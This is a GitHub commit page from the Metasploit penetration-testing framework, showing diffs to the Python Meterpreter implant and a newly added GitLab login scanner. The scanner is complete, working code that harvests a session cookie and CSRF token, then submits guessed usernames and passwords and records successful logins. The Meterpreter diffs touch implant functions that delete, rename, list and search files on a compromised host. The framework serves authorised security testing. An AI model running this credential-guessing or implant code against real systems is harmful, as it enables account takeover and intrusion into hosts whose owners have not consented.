Skip to content

Commit bc3c73e

Browse files
author
HD Moore
committed
Merge branch 'master' into feature/registered-payload-uuids
2 parents 378e867 + 2d1adf6 commit bc3c73e

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

47 files changed

+2713
-87
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (~> 0.3.0)
1111
metasploit-model (~> 0.29.0)
12-
meterpreter_bins (= 0.0.14)
12+
meterpreter_bins (= 0.0.16)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -132,7 +132,7 @@ GEM
132132
pg
133133
railties (< 4.0.0)
134134
recog (~> 1.0)
135-
meterpreter_bins (0.0.14)
135+
meterpreter_bins (0.0.16)
136136
method_source (0.8.2)
137137
mime-types (1.25.1)
138138
mini_portile (0.6.1)

data/exploits/CVE-2014-0980.pui

16.7 KB
Binary file not shown.
192 Bytes
Binary file not shown.
160 Bytes
Binary file not shown.
120 Bytes
Binary file not shown.

data/meterpreter/ext_server_stdapi.py

Lines changed: 25 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@
5959
is_bytes = lambda obj: issubclass(obj.__class__, str)
6060
bytes = lambda *args: str(*args[:1])
6161
NULL_BYTE = '\x00'
62+
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
6263
else:
6364
if isinstance(__builtins__, dict):
6465
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@@ -69,6 +70,7 @@
6970
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
7071
NULL_BYTE = bytes('\x00', 'UTF-8')
7172
long = int
73+
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
7274

7375
if has_ctypes:
7476
#
@@ -530,7 +532,7 @@ def get_stat_buffer(path):
530532
if hasattr(si, 'st_blocks'):
531533
blocks = si.st_blocks
532534
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
533-
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
535+
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
534536
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
535537
st_buf += struct.pack('<II', blksize, blocks)
536538
return st_buf
@@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
630632
fmode = fmode.replace('bb', 'b')
631633
else:
632634
fmode = 'rb'
633-
file_h = open(fpath, fmode)
635+
file_h = open(unicode(fpath), fmode)
634636
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
635637
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
636638
return ERROR_SUCCESS, response
@@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
923925
@meterpreter.register_function
924926
def stdapi_fs_chdir(request, response):
925927
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
926-
os.chdir(wd)
928+
os.chdir(unicode(wd))
927929
return ERROR_SUCCESS, response
928930

929931
@meterpreter.register_function
930932
def stdapi_fs_delete(request, response):
931933
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
932-
os.unlink(file_path)
934+
os.unlink(unicode(file_path))
933935
return ERROR_SUCCESS, response
934936

935937
@meterpreter.register_function
936938
def stdapi_fs_delete_dir(request, response):
937939
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
940+
dir_path = unicode(dir_path)
938941
if os.path.islink(dir_path):
939942
del_func = os.unlink
940943
else:
@@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
945948
@meterpreter.register_function
946949
def stdapi_fs_delete_file(request, response):
947950
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
948-
os.unlink(file_path)
951+
os.unlink(unicode(file_path))
949952
return ERROR_SUCCESS, response
950953

951954
@meterpreter.register_function
@@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
971974
def stdapi_fs_file_move(request, response):
972975
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
973976
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
974-
os.rename(oldname, newname)
977+
os.rename(unicode(oldname), unicode(newname))
975978
return ERROR_SUCCESS, response
976979

977980
@meterpreter.register_function
978981
def stdapi_fs_getwd(request, response):
979-
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
982+
if hasattr(os, 'getcwdu'):
983+
wd = os.getcwdu()
984+
else:
985+
wd = os.getcwd()
986+
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
980987
return ERROR_SUCCESS, response
981988

982989
@meterpreter.register_function
983990
def stdapi_fs_ls(request, response):
984991
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
985-
path = os.path.abspath(path)
986-
contents = os.listdir(path)
987-
contents.sort()
988-
for x in contents:
989-
y = os.path.join(path, x)
990-
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
991-
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
992-
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
992+
path = os.path.abspath(unicode(path))
993+
dir_contents = os.listdir(path)
994+
dir_contents.sort()
995+
for file_name in dir_contents:
996+
file_path = os.path.join(path, file_name)
997+
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
998+
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
999+
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
9931000
return ERROR_SUCCESS, response
9941001

9951002
@meterpreter.register_function
@@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
10081015
@meterpreter.register_function
10091016
def stdapi_fs_mkdir(request, response):
10101017
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
1018+
dir_path = unicode(dir_path)
10111019
if not os.path.isdir(dir_path):
10121020
os.mkdir(dir_path)
10131021
return ERROR_SUCCESS, response
@@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
10161024
def stdapi_fs_search(request, response):
10171025
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
10181026
search_root = ('' or '.') # sometimes it's an empty string
1027+
search_root = unicode(search_root)
10191028
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
10201029
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
10211030
if recurse:
@@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
10561065
@meterpreter.register_function
10571066
def stdapi_fs_stat(request, response):
10581067
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
1059-
st_buf = get_stat_buffer(path)
1068+
st_buf = get_stat_buffer(unicode(path))
10601069
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
10611070
return ERROR_SUCCESS, response
10621071

data/meterpreter/meterpreter.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@
4141
is_bytes = lambda obj: issubclass(obj.__class__, str)
4242
bytes = lambda *args: str(*args[:1])
4343
NULL_BYTE = '\x00'
44+
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
4445
else:
4546
if isinstance(__builtins__, dict):
4647
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@@ -51,6 +52,7 @@
5152
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
5253
NULL_BYTE = bytes('\x00', 'UTF-8')
5354
long = int
55+
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
5456

5557
#
5658
# Constants
@@ -262,7 +264,9 @@ def tlv_pack(*args):
262264
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
263265
else:
264266
value = tlv['value']
265-
if not is_bytes(value):
267+
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
268+
value = value.encode('UTF-8')
269+
elif not is_bytes(value):
266270
value = bytes(value, 'UTF-8')
267271
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
268272
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
0 Bytes
Binary file not shown.
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
# GitLab login scanner
7+
class GitLab < HTTP
8+
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
9+
CAN_GET_SESSION = false
10+
DEFAULT_PORT = 80
11+
PRIVATE_TYPES = [ :password ]
12+
13+
# (see Base#set_sane_defaults)
14+
def set_sane_defaults
15+
self.uri = '/users/sign_in' if uri.nil?
16+
self.method = 'POST' if method.nil?
17+
18+
super
19+
end
20+
21+
def attempt_login(credential)
22+
result_opts = {
23+
credential: credential,
24+
host: host,
25+
port: port,
26+
protocol: 'tcp',
27+
service_name: ssl ? 'https' : 'http'
28+
}
29+
begin
30+
cli = Rex::Proto::Http::Client.new(host,
31+
port,
32+
{
33+
'Msf' => framework,
34+
'MsfExploit' => framework_module
35+
},
36+
ssl,
37+
ssl_version,
38+
proxies)
39+
configure_http_client(cli)
40+
cli.connect
41+
42+
# Get a valid session cookie and authenticity_token for the next step
43+
req = cli.request_cgi(
44+
'method' => 'GET',
45+
'cookie' => 'request_method=GET',
46+
'uri' => uri
47+
)
48+
49+
res = cli.send_recv(req)
50+
51+
if res.body.include? 'user[email]'
52+
user_field = 'user[email]'
53+
elsif res.body.include? 'user[login]'
54+
user_field = 'user[login]'
55+
else
56+
fail RuntimeError, 'Not a valid GitLab login page'
57+
end
58+
59+
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
60+
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
61+
62+
fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
63+
fail RuntimeError, 'Unable to get Authentication Token' unless auth_token
64+
65+
# Perform the actual login
66+
req = cli.request_cgi(
67+
'method' => 'POST',
68+
'cookie' => local_session_cookie,
69+
'uri' => uri,
70+
'vars_post' =>
71+
{
72+
'utf8' => "\xE2\x9C\x93",
73+
'authenticity_token' => auth_token,
74+
"#{user_field}" => credential.public,
75+
'user[password]' => credential.private,
76+
'user[remember_me]' => 0
77+
}
78+
)
79+
80+
res = cli.send_recv(req)
81+
if res && res.code == 302
82+
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
83+
else
84+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
85+
end
86+
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
87+
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
88+
ensure
89+
cli.close
90+
end
91+
Result.new(result_opts)
92+
end
93+
end
94+
end
95+
end
96+
end

0 commit comments

Comments
 (0)